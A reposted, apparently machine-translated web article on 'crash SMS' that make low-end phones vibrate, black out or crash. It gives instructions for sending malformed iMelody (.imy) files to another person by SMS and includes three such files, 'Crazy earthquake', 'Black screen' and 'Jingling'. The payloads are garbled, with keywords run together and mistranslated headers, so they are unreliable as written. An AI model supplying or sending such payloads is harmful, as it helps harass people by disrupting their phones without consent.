What kind of short message can make someone else's mobile phone crash or black screen?

Reprint: Crash SMS is a kind of malicious SMS, which is bound to be related to the imperfection of the mobile phone system that receives SMS. Malicious users take advantage of the vulnerability that these mobile phone systems can't recognize certain characters or don't consider certain situations (such as character combinations) to send crash messages to these mobile phones, which leads to abnormal situations (such as crash) for mobile phone users and causes unnecessary losses to mobile phone users. Usually, these mobile phone systems do not have the upgrade function, and this situation can be completely avoided only by replacing the mobile phone. According to reports, low-end mobile phones are often vulnerable to the intrusion of crash messages, which is usually not the case in mature smart phone systems. "Crash SMS" is also called "Black Screen SMS" and "Shanzhai SMS". The core part is imy file, which is usually a hidden music score. Different mobile phones will have different reactions when they encounter this file, such as vibration, black screen, flashing frequency and even crash. It is rumored that shanzhai mobile phones and low-end mobile phones may crash because they cannot recognize this file. "Crash SMS" can't really make the shanzhai collapse. Now this kind of short message is useless. I found one that I don't know is useful: this is the source code.

Create a new text file with notes, paste the following contents, then save it as an IMY file, send it to your mobile phone and send it to the other party by SMS, and you can add the text you want (note: MMS is not allowed, otherwise it will be invalid).

File 1: Crazy earthquake. imy

BEGIN:IMELODY

Version: 1.2

Format: CLASS 1.0

Beat: 100

melodyledoffledonbackoffbackovibeon @ 0)

End: IMELODY

File 2: Black screen. imy

BEGIN:IMELODY

Beat: 1200

melodyledoffbackoffvibeoffr 5 ledoffbackoffvibeoffr 5 @ 600)

End: IMELODY

Document 3: Jingling. imy

BEGIN:IMELODY

Version: 1.2

Format: CLASS 1.0

Beat: 200

melodyledoffbackoffvibeonr 5 vibeoffledonbackonr 5 @ 200)

End: IMELODY